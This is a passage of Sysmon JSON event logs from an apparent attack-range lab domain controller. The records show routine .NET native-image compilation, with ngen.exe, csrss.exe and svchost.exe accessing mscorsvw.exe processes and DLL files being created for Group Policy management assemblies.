C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010819A0A00}","TargetProcessId":"3756","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:28.948\r\nProcessGuid: {90617006-4298-5F2D-0000-0010819A0A00}\r\nProcessId: 3756\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eac-0\\Microsoft.GroupPolicy.Management.Interop.dll\r\nCreationUtcTime: 2020-08-07 12:01:28.948","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:28.948","ProcessGuid":"{90617006-4298-5F2D-0000-0010819A0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eac-0\\Microsoft.GroupPolicy.Management.Interop.dll","CreationUtcTime":"2020-08-07 12:01:28.948","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.979\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010079E0A00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.979","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010079E0A00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010079E0A00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010079E0A00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:28.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010079E0A00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:28.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010079E0A00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.041\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001082A10A00}\r\nTargetProcessId: 4400\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.041","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001082A10A00}","TargetProcessId":"4400","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001082A10A00}\r\nTargetProcessId: 4400\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001082A10A00}","TargetProcessId":"4400","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.041\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001082A10A00}\r\nTargetProcessId: 4400\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:29.041","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001082A10A00}","TargetProcessId":"4400","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:29.213\r\nProcessGuid: {90617006-4299-5F2D-0000-001082A10A00}\r\nProcessId: 4400\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1130-0\\Microsoft.GroupPolicy.Management.dll\r\nCreationUtcTime: 2020-08-07 12:01:29.213","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:29.213","ProcessGuid":"{90617006-4299-5F2D-0000-001082A10A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1130-0\\Microsoft.GroupPolicy.Management.dll","CreationUtcTime":"2020-08-07 12:01:29.213","EventReceivedTime":"2020-08-07 12:01:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:29.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001036A50A00}\r\nTargetProcessId: 1596\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1